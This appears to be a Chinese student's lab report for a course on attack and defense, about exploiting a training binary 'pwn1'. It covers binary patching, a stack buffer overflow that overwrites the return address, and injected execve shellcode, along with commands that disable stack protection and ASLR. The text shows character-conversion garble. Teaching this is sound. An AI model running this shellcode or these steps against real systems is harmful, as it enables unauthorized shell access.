Exp1:PC平台逆向破解 20164314

1、实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。linux

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。shell

该程序同时包含另外一个代码片断,getShell,会返回一个可用Shell。正常状况下这个代码是不会被运行的。咱们实践的目标就是想办法运行这个代码片断。咱们将学习两种方法运行这个代码片断,而后学习如何注入运行任何Shellcode。windows

2、实践内容

1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。sass

2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。安全

3.注入一个shellcode并运行这段shellcode。网络

3、实践知

1.熟悉Linux基本操做。dom

  • 能看懂经常使用指令,如管道(|),输入、输出重定向(>)等。

2.理解Bof的原理。函数

  • 能看得懂汇编、机器指令、EIP、指令地址。

3.会使用gdb,vi。学习

4.堆栈结构,返回地址,理解攻击缓冲区的结果,掌握返回地址的获取,掌握ELF文件格式,掌握动态技术。ui

机器指令CPU能直接识别并执行的指令,它的表现形式是二进制编码。机器指令一般由操做码操做数两部分组成,操做码指出该指令所要完成的操做,即指令的功能,操做数指出参与运算的对象,以及运算结果所存放的位置等。

JE:条件转移指令,若是相等则跳转;

JNE:条件转移指令(等同于“Jump Not Equal”),若是不相等则跳转;

JMP:无条件跳转指令。无条件跳转指令可转到内存中任何程序段。转移地址可在指令中给出,也能够在寄存器中给出,或在存储器中指出;

NOP:“空指令”。执行到NOP指令时,CPU什么也不作,仅仅当作一个指令执行过去并继续执行NOP后面的一条指令;

CMP:比较指令,功能至关于减法指令,只是对操做数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其余相关指令经过识别这些被影响的标志寄存器位来得知比较结果。

4、实践步骤

实践一   修改程序机器指令,改变程序执行流程

1.下载目标文件pwn1,并将它放进指定的文件夹中,而后用ls命令列出文件pwn1,执行它,

2.使用objdump -d pwn1 | more将pwn1反汇编,获得如下代码

找出核心代码(getShell,foo,main),以下,

由图中可见,main函数中在80484b5地址的''call 8048491''这条指令,会调用地址为8048491的foo函数,而其对应机器指令为“e8 d7ffffff”,根据foo函数中的指令猜想,e8为''call''指令,即跳转指令。按照正常流程,会执行main函数中的下一步,即80484ba地址的指令,此时EIP的值为80484ba,但此时执行call指令,会跳转到8048491,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值。

那咱们想让它调用getShell,只要修改 d7ffffff 为 getShell-80484ba 对应的补码就行。用Windows计算器,直接 47d-4ba就能获得补码,是c3ffffff

3.修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff

(1) vi pwn1,进入命令模式

(2)输入:%!xxd,将显示模式切换为十六进制

(3) 在底行模式输入/e8 d7,定位须要修改的地方,并确认

 

 

(4) 进入插入模式,修改d7为c3

(5) 输入:%!xxd -r,将十六进制转换为原格式

(6)使用:wq,保存并退出

4.再反汇编看一下,call指令是否正确调用getShell

5.输入./pwn1运行,能够获得shell提示符#

 

实践二  经过构造输入参数,形成BOF攻击,改变程序执行流

1.首先确认输入字符串哪几个字符会覆盖到返回地址

(1)经过构造缓冲区溢出的方法,让getShell函数的地址刚好溢出到EIP。

同上面的实验同样,目标是触发函数getShell。而后调用以下函数foo,这个函数有Buffer overflow漏洞。因此要将超出部分所形成的溢出字节覆盖返回地址。

经过输入不一样长度的字符串判断是否覆盖到返回地址,经屡次尝试可知输入28个字符时,会产生溢出。

(尝试时忘记截图了·····)

(2)经过gdb命令,调试文件pwn1,并输入40个字符。

(3)经过info r命令查看当前寄存器状态,发现EIP寄存器被0x35353535覆盖,即当前

返回地址为5555(0x35是ASCII码,表明十进制中的5),说明刚输入的40个字符中,含有5的字符串溢出到了EIP中。

(4)为了验证咱们的猜想,将“55555555”改成“12345678”,而后再用info r查看是哪几个数字溢出到EIP。

最终发现“1234”会覆盖到堆栈上的返回地址,那咱们就须要将这4个字符替换为getShell的内存地址,就能够触发函数getShell了。

2.确认用什么值来覆盖返回地址

getShell的内存地址,经过反汇编时能够看到,即0804847d。

经过实验指导书的方法试验发现字节输入顺序应该以下:

11111111222222223333333344444444\x7d\x84\x04\x08。

3.构造输入字符串

由为咱们无法经过键盘输入\x7d\x84\x04\x08这样的16进制值,因此先生成包括这样字符串的一个文件。\x0a表示回车,若是没有的话,在程序运行时就须要手工按一下回车键。

(1)输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input。

(2)输入xxd input 查看input文件是否符合预期。

(3)而后将input的输入,经过管道符“|”,做为pwn1_2的输入,即输入 (cat input; cat) | ./pwn1_2 input的输入。

输入指令(cat input; cat) | ./pwn1后,发现已得到shell。

实践三  注入Shellcode并执行

1.准备一段Shellcode

shellcode就是一段机器指令(code)

  • 一般这段机器指令的目的是为获取一个交互式的shell(像linux的shell或相似windows下的cmd.exe),
  • 因此这段机器指令被称为shellcode。
  • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

2.准备工做

(1)安装好execstack,输入apt-get install execstack便可安装。

(2)execstack -s pwn1 //设置堆栈可执行

(3)execstack -q pwn1 //查询文件的堆栈是否可执行

(4) more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化

(5) echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

(6) more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化

 

3.注入shellcode

Linux下有两种基本构造攻击buf的方法:retaddr+nop+shellcode和nop+shellcode+retaddr。

缓冲区小就用前一种方法,缓冲区大就用后一种方法。这里,咱们这个buf够放这个shellcode了,咱们选用前一种方法。

(1)把输入的字串放入input_shellcode文件里

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

其中,最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。

注意:最后一个字符不能是\x0a,即回车!

(2)打开一个终端注入这段语句

特别注意:只需按一次回车

(3)打开另外一个终端进行调试

 ① 使用指令ps -ef | grep pwn1来查看pwn1的进程号。

 ②输入指令attach 5959调试这个进程。

 ③使用指令disassemble foo设置断点,来查看注入buf的内存地址。

 ④断在ret处,这时注入的东西都到堆栈上了。

⑤而后break *0x080484ae,在另一个终端中按下回车。//这就是前面为何不能以\x0a来结束 input_shellcode的缘由。

⑥使用指令c,继续运行。

经过 info r esp 查看esp寄存器,找到01020304,即返回地址,shellcode就在该地址以后,所以,如图,将\x4\x3\x2\x1置为\x70\xd3\xff\xff便可

最后经过指令发现已经得到Shell

实践心得:

在此次实践中,咱们经过三种方法改变了执行文件的执行流程,三种方法,对应着三种不一样的攻击思路,分别是:

  1. 运行本来不会运行的原文件中的片断。
  2. 强行修改文件的执行流程。
  3. 注入本身想要注入的代码并使之运行。

       此次的实践,让我感觉到网络攻防技术的重要性,即便此次的攻击有一些前提,须要系统存在一些漏洞。而在我看来,漏洞,在大多数电脑中是存在的,也许是操做系统的漏洞,也许是某个软件的漏洞,而这些漏洞,就是电脑安全保卫线中的一个个缺口,也许这些缺口都不大,可是威力倒是不容小视的,一旦被攻破,也许本身的电脑就会被别人监控,甚至控制。在以后的课堂上,必定要认真听讲,也必定要多作实践,这样才能学好网络对抗,才能保护好本身的电脑。

相关文章
相关标签/搜索